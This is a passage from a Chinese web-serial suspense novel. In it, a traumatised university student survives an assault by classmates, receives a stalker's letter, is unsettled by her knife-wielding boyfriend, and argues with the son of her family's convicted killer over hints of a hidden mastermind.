这里是体育器材室。
隔音比较好。
只要跑出去,徐照就没办法再对她下手。
秋榕榕顺手拿走了放在一边的驱狗喷雾。
“别让她跑了!”徐照神情出现一瞬间的茫然无措,手中昂贵的摄像机摔在地上,镜头裂开。
他怕秋榕榕真跑出去,把人招过来。
秋榕榕不管不顾,用驱狗喷雾转身朝那帮人狠命喷去。
“滚开!别碰我!”
“放开我!!救命!救命啊——!”
她超能叫,分贝高,放恐怖电影里绝对是那种第一个被干掉的炮灰角色。
几名追随徐照的男同学骂骂咧咧地追了上来。
都想来捂她的嘴。
驱狗喷雾杀伤力不小。
追他的人倒了一片。
有人试图从背后抓住秋榕榕的肩膀,把她往回拽。
粗暴的动作让秋榕榕踉跄跌倒在地。
场面过于混乱,徐照踩着秋榕榕的手腕,把驱狗喷雾强行夺走。
“别喊了,小贱人!”
“再跑老子弄死你!”
徐照在旁边指挥着,让小弟把秋榕榕往刚才的架子上拖。
就在这时,尖叫声起了作用。
一道熟悉的怒喝声穿透走廊,体育器材室的大门从外面被踹开。
“你们在干什么?!”
姜雨薇带着辅导员,气势汹汹地冲进来。
徐照愣了一下,赶紧松开乱踢的秋榕榕,挡着脸,直接翻窗户跳了下去。
这里是二楼。
他崴了一下脚,毫不犹豫地把自己的小弟抛弃了。
秋榕榕坐在地上,头发凌乱,脸上是灰尘和汗水,她喘着粗气,指着窗户的方向,“徐照是主谋,别让他跑了。”
姜雨薇蹲下身来扶起秋榕榕,秋榕榕额头上有伤,化掉的冰将她的上衣泡湿,坐在地上瑟瑟发抖。
“他让他手下的人搞我,还要拍视频,摄像机就在那边,上面肯定有他的指纹……”秋榕榕哆哆嗦嗦地说着。
短时间内经历过两次绑架,秋榕榕精神已经濒临崩溃。
刚才的冷静,只是在极端危险的条件下,强压出来的。
脱离危险之后,肾上腺素还没有下去,秋榕榕全身打颤,浑身上下每个细胞都叫嚣着讨个公道。
姜雨薇把自己的外套解下来披在她身上,“别怕。”
她向秋榕榕解释来龙去脉。
“下午上课,老师点名,你不在,我没有帮你报道,然后老师很生气,让我联系你回来上课。
我打不通你的电话,担心你出事了,找了辅导员。”
后面就是,姜雨薇和辅导员打听秋榕榕的去处,被人告知她被徐照带走了,才找了过来。
体育器材室所在的这栋楼比较偏僻。
她们听见秋榕榕的尖叫声,才来到这里。
辅导员说,她会帮忙追究徐照的责任。
她和姜雨薇都是证人。
让姜雨薇扶着秋榕榕先去医务室做检查。
秋榕榕确实要去医务室。
她不是为了检查自己脑袋上肿起来的包,而是去找谭松。
医务室现在人比较少。
谭松的目光落在她破了皮的额角上,她瞅着就病弱,再加上受伤,楚楚可怜,谭松看着她,忽然觉得她和自己是一类人。
他们同病相怜。
“你这是怎么搞的?”谭松从旁边的抽屉里拿出碘伏,递给秋榕榕,让她自己擦。
“徐照打的。”秋榕榕从旁边拖了个圆凳,坐在谭松旁边。
谭松感叹:“你要是第一次捅我一刀,他估计就不会这么对你了。”
“我不想背案底。”
“我又不会告你。”
“那我也不想做。”秋榕榕心里堆着火,“谭松,你和我说句实话,你和徐照有什么仇怨,让他恨你恨到这个地步?”
“能不说吗?”谭松垂下头,眼睛里是一片阴郁。
“不能。”秋榕榕把自己后面的头发拨开给他看,“我后脑勺上还被打了一个大包,被打得这么惨,我总要知道缘由。”
谭松沉默。
秋榕榕也坐在旁边不走,和他暗自较着劲。
最终,谭松妥协,说出了这件事的原委。
“我爸被关进监狱后,我妈嫁给了徐照他爸。”
谭松和徐照竟然是名义上的兄弟。
这可够劲爆的。
秋榕榕追问:“徐照他妈呢?”
谭松声音淡淡的,“离婚后因为抑郁症自杀了。”
“因为你妈妈吗?”秋榕榕问过之后,发现谭松脸色突然沉下去,又找补了两句,“我不是说你妈妈破坏别人家庭……”
没等秋榕榕解释完,徐照就疾言厉色打断了她。
“我妈不是小三,徐元宵对外宣称他已经离婚很多年了,我妈才和他在一起的!”
谭松总是在强调。
强调他的爸爸不是杀人犯。
强调他的妈妈不是小三。
可惜在外界眼里,他爸爸就是杀人犯,他的妈妈,就是小三。
“对不起。”秋榕榕意识到自己刚才说话确实不妥。
谭松神色暗淡几分,“我妈也是被骗了。”
徐照的父亲——徐元宵,是徐氏集团的总裁。
在归墟市,乃至全国,都是数一数二的大人物。
谭妈妈在老公入狱后,到处借钱请律师,借到了徐元宵头上。
徐元宵和谭妈妈有过一段过往。
穷小子青梅竹马的故事。
只不过后来穷小子走大运,认祖归宗当了富二代,青梅另嫁他人又落魄,两人重逢。
男人有了钱,有了权势,就开始追求年少时不可得的爱情。
他答应借钱,尽心尽力地请律师帮忙打官司,结局虽然不好,但诚意十足,谭妈妈被感动,老公一审被判了死刑后,就和徐元宵在一起了。
那时,徐元宵根本没离婚。
谭妈妈不知道。
她是被小三的。
这事间接害死了徐照的亲妈。
徐照也因此痛恨谭松全家。
秋榕榕为他们两家的孽缘叹了口气。
谭松的球鞋是旧的。
他现在已经大四了,还经常穿着刚进大学军训时的衣服。
每一处,都彰显着谭松过得很拮据。
“难怪徐照针对你,可徐家那么有钱,你怎么没跟着过上好日子?”
“我妈不认我了。”谭松脸上露出一抹虚浮的笑,似是嘲讽自己现在的落魄,“我现在和我奶奶一起过,前段时间,我奶奶住的房子被火烧了,我怀疑是有人恶意纵火……”
“你怀疑是徐照做的?”秋榕榕隐隐觉得不对劲。
他很坏,但坏得很粗糙。
动机有余,胆量不足。
他做不到纵火杀人,又不留证据。
“以前怀疑是他,你出现后,我就不怀疑了。”
“徐照只是被有心人推波助澜,摆在前面的烟雾弹。”
“秋榕榕,想害我的人,和想害你的人,可能是一伙人。”
“当年的案件有蹊跷,我的爸爸不是真凶,至少,他不是灭门惨案的策划者。”
“真凶另有其人。”
“对我,真凶叫做杀人灭口,免得我为我爸翻案。
而对你,真凶叫做斩草除根,毕竟你是唯一幸存者……”
第19章 大桥
归墟市阴雨连绵,秋榕榕从医务室落荒而逃。
从公交车上遇见那个男人,到徐照的针对,多次绑架,再到心理医生的陷害……秋榕榕能感觉到,有无形的手在后面,要把她往绝路上逼。
秋榕榕有些窒息。
她以为的结束,不是结束。
天上的雨是罗网,铺天盖地把她罩住,她避无可避,逃无可逃,混沌地走在出校园的路上。
直到周景行给她撑了一把伞。
“怎么又受伤了?”周景行穿着黑色冲锋衣,戴着黑口罩,在蒙蒙细雨天并不显眼。
雨水打湿他的肩头。
他把伞往秋榕榕的方向倾斜。
“学校里有人欺负我。”秋榕榕原本觉得额头上的伤已经麻木,但听见有人关心自己,刺痛感又重新回来。
周景行伸出手指摸她的眼睛,他的指腹贴着她的睫毛,秋榕榕眨了眨眼睛,浓密的睫毛像小刷子刮过他的指腹。
秋榕榕往后躲,揉了揉眼睛,“是雨水。”
不是眼泪。
“归墟市到了雨季,我给你带了干衣服,回车上换吧。”周景行握着她的手,用手心温热她冰凉的指尖。
秋榕榕坐在后排换衣服。
周景行单手扶着方向盘,看着车窗外面。
待秋榕榕换好后,才启动车辆。
周景行问秋榕榕学校里发生了什么。
秋榕榕只说了徐照在体育器材室欺负她的事情。
关于谭松说的那些话,秋榕榕没和周景行说。
不是不信他,是没法说。
被害妄想症的诊断证明书,像是一道牢牢的枷锁,牢牢地锁住秋榕榕的喉咙。
她没证据。
所有的控诉,从她嘴里说出来,更像是印证纸上的病症。
一个正常人,如何证明自己没有病?
秋榕榕证明不了。
出具精神鉴定报告的,是治疗秋榕榕三年的心理医生,所有手续均合乎流程,无可推翻。
报告只要出来,一旦推翻,就算做医疗事故,医院和医生都得担责。
所有人都倾向于相信,一个全家死在自己面前,受过一整年虐待的女生,是精神病。
人们向她投以怜悯的目光。
却不愿耐心听她口中说的话。
有人欺负她。
但一句被害妄想症,就能证明是她在发病。
车辆行驶过南翡河大桥,风雨将灰色的浪潮卷起。
河上停着艘大吨位的挖沙船,灰扑扑的笼罩在烟雨中。
秋榕榕看见船员操纵着仪器,把巨大的抛抛下去,那么大的铁疙瘩往下沉,铁链哗啦啦往下,在暗色的水里,很快消失不见。
她想,人可比那块铁疙瘩要轻很多。
在这样的天气里蹦下去,估摸着连个水花都看不见。
她恍惚间看见自己站在桥边。
像风筝一样坠落。
很快,秋榕榕就收回视线,驱走脑海里的妄念。
生命宝贵,她绝对不会往南翡河里跳!
回家以后,秋榕榕去浴室里泡热水澡放松。
雾气氤氲,秋榕榕把衣服扔进洗衣篓里,缓缓坐进浴缸,热水没过她纤细的腰身,将她被细雨冻僵的身体包裹。
骨缝被一点点捂热,紧绷的神经有了放松的余地。
她轻轻吐出一口气,头往后仰靠在浴缸边缘,闭上眼睛。
泡在热水里,可比泡在冰冷的河水里变成浮尸舒服。
秋榕榕昏昏欲睡时,听见外头传来周景行的声音:
“有你的信。”
困意瞬间消失,她掬着水洗了把脸,擦干身体,换上睡衣走出浴室。
细雨未停,睡衣裹着一层潮意,怎么擦都不干爽。
信放在客厅的桌面上。
厨房里,周景行正背对她切菜。
自从被绑架回来后,周景行负担起了大部分做饭的工作。
他手艺一般,但是菜切得格外漂亮。
豆腐在他手中,能用刀雕成花。
秋榕榕走到桌边,低头看了眼信封,寄件人的名字是一串数字。
“手机的时代,还有人写信呀。”
她想不到有谁会给她写信。
来归墟市之前,她的朋友都是病友,共同话题除了吃药,心理干预,没其他的。
她父母没留下遗产,原本有一套贷款房,秋榕榕还不起贷款,卖掉治病用了。
身体差,又没钱,全家死光就她一个活着,让她显得更加晦气。
社区曾帮她联系过一些远方亲戚。
那些亲戚听说是她,都避而远之。
她孤身一人,被整个世界遗弃。
来归墟市,也仅仅是因为这里有人愿意接纳她。
秋榕榕想来想去,想不到是谁愿意动笔,给她写下一封信。
她拆开信封,抽出一张折叠整齐的纸。
手指将信展开。
信封上的内容,让她瞬间从头顶凉到脚底。
纸上是用报纸杂志上的字,一个一个剪下来,粘贴上去的。
字体不同,大小也不同。
歪歪扭扭,拼凑成一句话。
「我想做你的监护人」
她怔怔看着,心跳一声声擂响耳膜。
胃管插进喉咙,伸进胃里的感觉还很清晰。
一定是那个男人,找到了她现在的住址。
秋榕榕一想起那男人的脸,就觉得头重脚轻。
整个人往后倒,她堪堪扶到旁边的椅子,才找回一点力气,软瘫地坐了下去。
“怎么了?”周景行听到客厅有动静,端着炒好的土豆丝走过来。
秋榕榕把信摊开给周景行看。
他穿着围裙,眉眼安然,把手中端着的磁盘放在木桌上。
看着信上的内容,他说道:“无聊的恶作剧。”
“不是恶作剧,这封信一定是上次绑架我的那个人邮寄给我的,他在恐吓我,心理医生的事儿估计也是他捣的鬼……”
她肆意说着内心的猜测。
周景行耐心地听着。
他不反驳,不质疑,她说到惊险的地方时,他还会皱着眉,去摸她的手背。
他用实际行动表示,他愿意相信她,愿意陪伴她。
客厅里有镜子,周景行的身影在镜子里,嘴角藏着忧虑,眼神却因灯光的影子显得阴恻恻的。
镜里境外,像长着两张脸。
秋榕榕之前报过一次凶杀案。
结果心理医生没死,装尸体的麻袋也没有找到,所谓的「死者」还复活了,亲自打电话给警署,说她是精神病,然后把案件撤销掉。
她身上遭遇的绑架案,最后定性为她被害妄想症发作,自己躲到废弃大楼里。
那栋大楼的附近没有找到可疑的脚印。
地下室里也没有其他人的指纹。
都说她有病。
否认她的遭遇。
她也确实拿不出什么证据。
百口莫辩,就是她现在所处的境地。
第20章 吃醋
监护人的事情不能再拖。
秋榕榕这两天一直尝试着联系周叔叔和周阿姨。
一开始周叔叔还能打通电话。
但秋榕榕打得多了,对面索性不接电话。
她有些惶恐,不知道自己做错了什么。
一遍又一遍翻看发送的短信,担心自己哪句话没斟酌好,平白惹人厌弃。
周叔叔有的时候会回一个“嗯”,有的时候会回“知道了”。
而周阿姨,一次消息都没有回过。
秋榕榕懊恼自己事情多。
本来就是借住别人家,结果还给主人家带来那么多麻烦。
也难怪他们不回她消息。
如果再联系不到周叔叔和周阿姨,秋榕榕就只剩下周景行这一个选项。
秋榕榕蜷着腿,她坐在床上,抱着膝盖,像破碎粘粘的陶瓷人偶,固定成一个姿态,一言不发,看着自己裸露的脚趾出神。
她不想走到这一步。
不想他们之间的关系变复杂。
睡到半夜,秋榕榕梦到自己脖子上拴着石头,被沉入了南翡河,就像是采沙船上面的锚,不停地下坠。
她从噩梦中惊醒,脖子汗涔涔。
觉得喉咙处有些痒,连日的阴雨天,加上之前多次惊吓,秋榕榕嗓子可能发炎了。
她穿着拖鞋下到一楼,给自己泡了一杯板蓝根。
一楼客厅窗户没关,风雨将窗帘打湿,她走到窗户边,正巧这阵风比较大,把湿漉漉窗帘吹到她的脸上。
秋榕榕把窗帘从脸上拽下来,身子往前倾,将玻璃窗关紧。
雨水落在她伸出来的那小半截手臂上。
院子里没有灯。
秋榕榕刚把玻璃关上,就看见一个小石子精准地打在玻璃上。
她愕然发现,之前绑架她的那个男人躲在花圃里,脸色苍白,眼神阴沉沉的,还折下了周叔叔委托她照顾的兰花。
男人没有撑伞,站在雨里。
风吹起落叶粘在他的身上,他捏着一朵被摧残的兰花,放在唇边轻轻一吻,然后抬手,递向秋榕榕的方向。
秋榕榕立刻把窗户从内反锁,拉起窗帘,心脏扑通扑通直跳。
她把没喝完的药随手放在桌上,快步上楼,拖鞋稍大不合脚,跑的过程掉了一只。
拖鞋顺着楼梯滚到一楼。
秋榕榕没回头去捡,而是跑到了周景行的房间。
他房门反锁。
秋榕榕快速地敲门。
“哥哥,开开门。”她很害怕。
里面传来细微的动静,周景行开门的时候正在扣身上睡衣的扣子。
“妹妹,怎么了?”刚睡醒的周景行嗓音有几分慵懒。
“之前绑架我的人就在外面的花圃里。”秋榕榕指着漆黑的一楼。
想一句,说一句,说话的速度有些慢,尽量过脑子,表述清晰,让她显得不那么像精神错乱所说出来的胡话。
“不急,进来说。”周景行侧身让秋榕榕进屋,他低头看着她光着的一只脚,把自己的拖鞋让给她。
“穿鞋,别着凉。”
他的鞋比她大很多,秋榕榕踩上去,还能感受到他的余温。
“你就在这里待着,我去花圃里看一看。”周景行准备出去。
秋榕榕拉住了他的手,嘴唇动了动,“你信我?”
“当然呀。”周景行揉了揉她的长发,把她拉到床边坐着,并且用自己的被子把她整个人像粽子一样包裹起来,“你是我女朋友,我不信你还能信谁?”
房间里就开了书桌上的一盏小台灯。
他的清隽雅致,温温柔柔,因为身上减龄的少年感,让他没那么强的攻击性。
这也容易让人忽略,他成年男子的体型与力量。
“你别下去,我担心你有危险。”秋榕榕不想他去冒险。
她的手隔着他的睡衣,能感受到他脉搏有力的跳动。
令人安心。
周景行从枕头底下摸出一把刀,坐在秋榕榕身边,笑起来,“不去不去,我在你身边守着你。”
秋榕榕瞳孔张开又收缩,她脖子僵硬,注意力全部被那把黑色的匕首吸引。
周景行拔出刀,用冰凉的刀刃轻轻地贴上秋榕榕的脸颊,在她耳边轻声说道:“谁欺负你,哥哥就用这把刀把他捅死,好不好?”
他呢喃细语,像是温柔的情人在耳边诉说着忠诚的情话。
带那把冰凉的刀,提醒着秋榕榕危险。
匕首慢慢往下滑,平贴着她的下巴抬起。
他们四目相对。
周景行深情款款,秋榕榕却有几分不安。
秋榕榕听见自己用干涩的嗓音艰难地回了一个“好”字。
“吓到你啦。”
等到他把刀收了回去,又变回人畜无害的样子。
就好像刚才只是调情。
他捏了捏秋榕榕的脸,“你今天晚上在我这里休息吧,你睡床,我睡地上。”
说完,周景行从柜子里拿出了两床新被子铺在地上。
规规矩矩,不曾逾越。
秋榕榕躺在他的床上一夜未眠。
她在夜里忍不住去摸枕头下的匕首。
他把匕首放在她的枕头下,让她刚才在一瞬间提起来的心,又很快回落下去。
这把刀,是他亲手塞给她的。
他让她摸着刀睡觉,就不会感到害怕了。
第二天醒来,秋榕榕顶着两个黑眼圈。
周景行在厨房煎鸡蛋。
“爸爸已经同意给周淮远做抽脂手术,今天会有医院的人上门,把他抬过去。”
“他的身体适合抽脂吗?”
“这个需要医院评估。”周景行对待周淮远的态度冷淡,他们住在同一个屋檐下,秋榕榕却一次都没有看见周景行进周淮远的房间。
这对亲兄弟,堪比陌生人。
“我今天和同学有约,晚上才会回来。”秋榕榕用叉子戳着盘子里的鸡蛋,蛋黄上的一层薄皮破了之后,流心淌出来。
上次在医务室,谭松只是一股脑说出了自己的想法。
今天是周六,不上课,谭松也没去兼职,他邀约秋榕榕去他家,他有一些证据,能证明他爸爸很可能不是幕后真凶,他想给她看。
周景行用刀切鸡蛋的手一顿,“你要用车吗?”
“我还没有学驾照。”秋榕榕手上没有额外的钱,也不好意思再找周叔叔要。
她计划着寒暑假去打工,然后存点钱,再去学驾照。
“那我送你。”
“不用,我同学说他来接我。”
“女同学?”他的声音分辨不出喜怒,像是闲话家常。
“男同学。”秋榕榕见周景行唇角的笑意淡下去,身子往他的方向歪了歪,“你吃醋啦?”
下一秒,周景行手上的刀往下用力,瓷盘从中间裂成两半,鸡蛋液流在桌面上。
第21章 摩托
“哥哥?”秋榕榕被突然碎裂的盘子吓住,她抽出餐巾纸,伸手去擦碎瓷片。
周景行没有抬头,眉眼藏在阴影里。
他在空中握住秋榕榕的手,“餐盘温度高,裂开了,你别碰,免得划伤了手。”
“好……”秋榕榕小心地望着他,“你是不是生气了?”
秋榕榕向周景行解释,男同学的名字叫做谭松,他们相识是因为三年前的案件。
“你有交朋友的自由,我不会胡乱吃醋。”
周景行字字句句说得在理,他通情达理,还让秋榕榕别胡思乱想,把他想成小心眼的男人。
他说,他这点自信还是有的,让秋榕榕安心出去玩,有需要的话打电话给他,他会接她回家。
秋榕榕应下来。
她觉得周景行脸上的笑有点假。
早晨吃完早餐后,护工上门照顾周淮远。
那护工皮肤粗糙,三角眼,白眼珠占的比例较大,嘴上的木偶纹显老。
她早上做完工作后,找秋榕榕结算工钱。
秋榕榕要转给她一千。
她不收,只要现金。
“山里来的,手机只会打电话。”
秋榕榕身上没现金,“那你和我去银行,我取给你。”
她们一起去了别墅区外的银行。
护工在门外等着,警惕地看着来往的路人,秋榕榕把现金数给她,她上了一辆面包车,迅速离开。
秋榕榕觉得有些怪。
她回到别墅,帮周淮远准备下午去医院检查所需要的证件。
秋榕榕再次踏入周淮远的房间。
眼前的一幕,令她脚步止不住后退。
周淮远又胖了。
被护工照顾的短短几天,他胖得失去人形。
脖子淹没在肉堆里,几层下巴叠在一起,像塌陷的梯田,肥厚的嘴巴里插着一把铁勺子,口水顺着勺子往下滴。
脂肪似乎涌进了他的大脑,他的电脑屏幕闪着蓝条,这两天,周淮远没有打游戏,肥胖令他寸步难行,他变得比之前更加痴傻。
秋榕榕帮他把勺子拽下来,又去洗手间放了点温水,帮他露出来的地方简单擦拭一遍。
护工没有好好照顾他。
秋榕榕这段时间,自己身上的麻烦事都处理不掉,忽视了周淮远,没照顾好他。
忙完之后,秋榕榕又去修剪院子里的兰花。
昨夜,那个绑架他的男人折断了花枝。
雨水将他存在的痕迹冲走。
他站过的地方,只剩下潮气混合着兰花香。
下午,秋榕榕从小区街角拐出来的时候,第一眼就看见了谭松。
他半靠在重型摩托车旁,头盔将整张脸严严实实地遮住,反射着昏暗的天光,看不清神情。
秋榕榕挥挥手,冲他打招呼。
“上车。”谭松长腿一跨,骑上摩托车。
秋榕榕不愿,“摩托车是肉包铁,不安全。”
“我带你,你搂我搂紧点,保证不会出事儿。”谭松穿着件黑色背心,手臂暴露在空气中,肌肉线条鼓起,紧绷,却不显得夸张。
“你考了摩托车驾照没有?”
“有证。”谭松拿出了安全头盔,直接扔进她怀里,“秋榕榕,你怎么这么怕死?”
摩托车后座的三角垫,又窄又硬又倾斜,根本不适合带人。
“我这叫爱惜性命。”秋榕榕把头盔戴在脑袋上,“你骑车在前面带路,我去扫一辆共享电单车跟在你后面。”
“共享电单车慢死了,我没那么多时间等你。”谭松直接把秋榕榕抱到摩托车后座上,“坐着,保证不会把你摔死。”
秋榕榕扭不过他,“那你遵守交通规则,速度开慢点。”
“就你废话多!”谭松不耐烦地拍了一下她的头盔。
秋榕榕两只手撑在前面的油箱。
谭松拉着她的手按在自己的腰腹上,“我加速的时候,你要抱着我的腰。我减速的时候,你的手再撑着油箱。”
他腹部肌肉紧实。
秋榕榕感受到他宽大的手掌上的茧,粗糙地摩挲着她的手背,她赶紧把手抽回来,红着脸,不好意思的说道:“不行,太近了,这个姿势,感觉就是你骑着摩托车,我骑着你。”
谭松的头盔下传来一声低笑。
“你说话倒是直白。”
“还有,我有男朋友啦,不能和别的男生那么近。”秋榕榕想起早晨周景行吃醋,刀能直接把盘子切碎,他手上力气肯定不小。
她从摩托车上下来。
这次,谭松没阻拦,眼看着她去扫共享电单车,“你什么时候谈的男朋友?老家带来的?”
“来归墟市新谈的。”
“谁啊?咱们学校的?”
秋榕榕嫌他八卦,“不告诉你。”
“我帮你把把关。”
“不需要。”秋榕榕扫好共享单车骑了上去。
谭松耸耸肩,骑着摩托车在前面带路。
他开出了有史以来最慢的速度。
秋榕榕是一个严格遵守交通规则的人。
红灯停,绿灯行,哪怕没有电子眼,路上没有车,她都会去多等那一百多秒,等待红灯过去。
教科书式的好市民。
谭松的家住在城中村,排水效果差,又正值雨季,空气里充斥着下水道返上来的酸臭味。
巷子太窄,秋榕榕在外面就还了共享电单车。
她跟着谭松往里走,两边的出租屋胡乱地往上加盖,一层叠一层,参差不齐。
谭松住的这栋楼里,三教九流都有,一楼临街处开着一家卖十元一份盒饭的小饭馆,他住在四楼,隔壁住着浓妆艳抹的女人,脸上的粉比墙皮还厚,正穿着吊带抽着烟。
见谭松带秋榕榕回来,她暧昧地笑了笑,“难得见你带女人回来。”
谭松皱着眉头喊了一声红姐,解释秋榕榕只是他的大学同学。
红姐猛吸一口烟,眯着细长的眼睛看着她,“你们班里可有男同学想过来开开荤?下次你给他们带路,我给他们学生价。”
“啊?”秋榕榕一下子就领悟到她说的是什么,支支吾吾,没好意思接她的话茬。
谭松一把把她推进房间里,对红姐说:“她脸皮薄,你别逗她。”
说完,就把房门一关。
红姐干笑两声,白烟飘到她的眼睛上方,她低头把刚才偷拍秋榕榕的照片换个滤镜,写上自己的联系号码发到朋友圈。
「新茶到货,品茶加V。」
第22章 证据
房间很小,墙皮翘起,天花板上的灯泡垂下来,电线裸露在外,看着就有漏电的风险。
靠着窗户的地方摆着一张架子床,老是风扇吱呀呀地吹着,吹不散房间里的霉味。
“这里环境这么差,你为什么不住校?”秋榕榕进来之后,没有能坐的地方。
小出租屋里摆放着许多谭松的全家福,看着照片上其乐融融的一家三口,秋榕榕觉得刺目。
谭松让她直接坐床边。
“我平时要做兼职,住校外方便一点。之前我和我奶奶住的屋子被人放火烧了,现在只能租住在这边。”谭松也是刚搬到这里不久,房间里连个干净的喝水杯都没有。
他从冰箱里,开了一瓶冰冻矿泉水给秋榕榕。
夏季刚刚过去,归墟市又多是梅雨季节,天气又闷又潮湿。
秋榕榕拿着水,道了声谢,但是没有喝。
她体寒,肠胃又不好,一年四季习惯喝温水,喝不了冰的。
冰冻过的矿泉水,拿出来之后表面凝了一层水珠,握在手上,秋榕榕觉得有点冷。
谭松没有周景行那么细心,他把电风扇开到最大档,风卷着房子里的潮气,让秋榕榕身上冷意更甚。
秋榕榕把电风扇的脑袋固定到他的方向,让他自己吹。
她问:“你奶奶现在在哪里?”
“送到疗养院去了。”
谭松坐在床边,上下打量着秋榕榕,然后从旁边的柜子里拿出一沓做了笔记的银行账单,递给她。
“先看看这个。”他表面上看起来冷静,手捋着账单的动作却又透露出他的紧张。
他在渴望秋榕榕的认可。
秋榕榕是受害者,她的看法对他而言很重要。
秋榕榕接过账单。
账单上显示,谭爸爸在当年行凶之前,欠下无数笔信用卡。
“这算是什么证据?”秋榕榕简单翻阅了那一沓厚账单,把账单放在自己的膝盖上,“你爸被抓之后,亲口承认,他是因为欠了巨额赌债还不上,才随机选上我家,抢劫杀人。”
“我小的时候,家很有钱。”谭松给自己也开了一瓶冰水,面无表情地灌下,“我以前玩翼装飞行,玩攀岩,玩各种极限运动。”
秋榕榕发现,他这个破烂出租屋里,确实堆着一些旧了的极限运动装备。
他继续说道:“我爸出事后,我家希望你出……谅解书,但那个时候你正在封闭治疗,我见不到你,就调查了你家的情况。
说实话,你爸爸妈妈都是普通的工薪阶级,我爸如果想要抢劫,你家不是好的选择。”
谭松的话,秋榕榕几乎是皱着眉头听完的。
他的言外之意,就是他爸抢劫杀人,不该选她这样的普通家庭,应该选择富贵人家。
他们之间,聊日常,就平和。
聊起当年的案件,就掺杂着火药味。
秋榕榕觉得谭松的话,只是在狡辩。
谭松觉得,秋榕榕打心底里不愿意认可他的推测。
“人被逼到走投无路,哪里能那么清醒地挑选受害者?
这个账单上面也显示,你爸抢了我家之后,还上了一部分信用卡。
他当时当着我的面,逼问我的爸妈交出银行卡密码,我可都记得清清楚楚!”
动机有,证据也有,甚至谭松的父亲自己都承认了,无可辩驳。
黄赌毒三个字是连在一起的,没有谁比谁轻,都是碰了就让人上瘾的东西。
人不能上瘾,一旦上瘾大脑不清楚,就会做出混账事。
只有谭松固执地认为,他的父亲是无辜的。
但他拿出来的证据,让秋榕榕失望。
推测,都是推测。
那些证据不具有说服力。
所谓的「幕后真凶」线索,也仅仅是一笔查不到源头的海外转账。
他觉得,给他爹从海外转钱的这个人,是罪魁祸首,他爹只是被指使的,只是个工具人。
“我觉得,只要顺着这个海外账户查下去,揪出背后的人,就很可能找到幕后真凶。”谭松耐着性子往下说。
秋榕榕阐述事实,“这个账户一看就是虚拟账户。”
谭松固执己见,“虚拟账户恰恰反映出打钱这样的心虚。”
“你这种说法有点牵强附会了。”
“因为不是你的爸爸被钉在耻辱柱上,不是你天天在学校被人叫做杀人犯的儿子!”
谭松突然发怒,扬起手,把手中喝了一半的矿泉水瓶狠狠地砸在地上,发出巨响。
他咬牙切齿,额头上的青筋鼓出来,“我把这些告诉你,是让你和我一起去查,你要是不信,我跟我来这里做什么?你现在就给我滚出去!”
“我来这里,就是愿意听其中的隐情。”秋榕榕被他摔在地上的矿泉水溅湿了裤脚,她语气也变差,“谭松,你没事冲我发什么疯?”
“发疯?”他冷笑一声,揪起秋榕榕的衣领,把她提起来,往房间外面推,“你就当我是疯子吧,我爸被枪毙了,我的家没了!
现在案件判下来,你觉得你家拿到公道了,我没有!
他是我爸,我了解,我爸根本就不可能做出来这种事情!”
秋榕榕卯足了力,去掰他的手指头,艰难地说道:“咳咳咳……你家没了,我家就是被你爸亲手毁掉的!”
她的脚尖踮起来,够着地面。
被拽起来的衣领令她呼吸困难。
“谭松,你别忘了,我家死的是六口人,你家只出了你爸一条人命!”秋榕榕字字泣血。
这句话把谭松定在原地,“那不一样……”
秋榕榕质问他:“哪里不一样?”
他的爸爸命贵一点?她家的就不值钱吗?
他看着脸颊憋得通红的秋榕榕,僵硬的松开手指头,说不出话。
秋榕榕身体脱力,跪坐在地上。
她扶着床边,也不管裤子是不是脏了,撑着身子从地上爬起来,又坐回床沿。
“看来我今天不该来……”秋榕榕坐了一会儿,抚了抚自己气不顺阻塞的胸口,嗓音沙哑,“想给你爸翻案,自己去调查真凭实据交给警署吧,我不奉陪了。”
说完,秋榕榕站起身,伸手推开出租屋的那扇破门。
今天来这里就是个错误。
她竟然天真地相信,一个学生手里会握着能颠覆案件的线索。
“等等。”谭松有些懊恼地抓了一下自己的短发,然后从旁边的杂物箱里翻出一个创可贴,“你手刚才被刮伤了,先处理一下。”
“不劳你费心。”秋榕榕不想多留。
谭松抓住她纤细的手腕,把她扯了回来,有些别扭,“你先别走,我还有东西给你看。”
他眼神闪躲,在为自己刚才没有控制好情绪而感到抱歉。
但他说不出道歉的话。
他想挽留她。
第23章 留宿
秋榕榕能听懂他话里有服软歉疚的意思。
谭松低着头,小心翼翼地把创可贴给秋榕榕贴上。
他偷偷打量秋榕榕的表情,看她是否还在生气。
秋榕榕性情柔和包容,不把她逼急,就没什么棱角,别人给台阶,她也会顺势而下,不会得理不饶人。
“好啦,你再留一会儿。”谭松轻声哄她,还捏着她的手指,帮她吹受伤的地方。
“你还有什么东西要给我看?”秋榕榕冷下来的表情有所缓和。
谭松拿出了火灾的相关证据。
谭松的奶奶收废品补贴家用,火灾引发的原因是有人乱扔烟头,但谭松查到纸壳上被人泼了汽油,他家失火是旁人有意为之。
他说了很多,最后郑重其事地对秋榕榕说道:“有人要害我。”
这话说给别人听,别人只会当他得了失心疯。
也给他安一个被害妄想症。
秋榕榕相信,她说:“好巧,我也是。”
他们处在相似的境地之下。
都能感受到背后无形的推手。
但敌人太狡猾,他们抓不到任何实质性线索。
有的,只是疑点。
秋榕榕不擅长责备,她更擅长宽容。
和善是她的缺点,亦是她的优点。
她温柔地对谭松说:“我知道被人不信任的感觉很糟糕,但我不能只说你爱听的。
你想证明你的爸爸无辜,我也想知道,当年的事情,是否另有隐情。
谭松,我们不要吵架,以后我发现什么也和你说,我们互相体谅,好不好?”
她的笑容浅淡,动作也轻轻的,说话的声音像春天刚化开的雪水。
谭松根本无法拒绝,他本能的点头,“好。”
时近傍晚,秋榕榕见外面的天乌云又起,担心下雨,便要早点回家。
谭松留秋榕榕吃饭。
“这附近有一家大排档,他家的红烧小龙虾很好吃,要一起去吗?”谭松从冰箱里拿了两瓶冰啤酒。
他的冰箱里乱糟糟的,秋榕榕还看见了蔫了的菜叶子。
秋榕榕是好学生,乖乖女,迄今为止没喝过酒,“不用,我要回家。”
她答应过周景行早点回家。
归墟市治安差,晚上走夜路回家不安全。
狭小的出租屋像个大蒸笼。
谭松堵在门口,把一瓶啤酒递到秋榕榕面前,“那你想不想坐摩托车去南翡河边兜风?”
秋榕榕不接。
他发现了,秋榕榕骨子里对他有天然的防备,不喝他给的水,也不碰他给的啤酒。
明明在学校里,她帮过他。
他觉得,当年的命案把他们联系在一起。
三年前,他见不到秋榕榕。
三年后,他们上了同一所学校。
这就是命中注定的相遇。
相处起来,不应该距离那么远。
秋榕榕再次强调,“我有对象。”
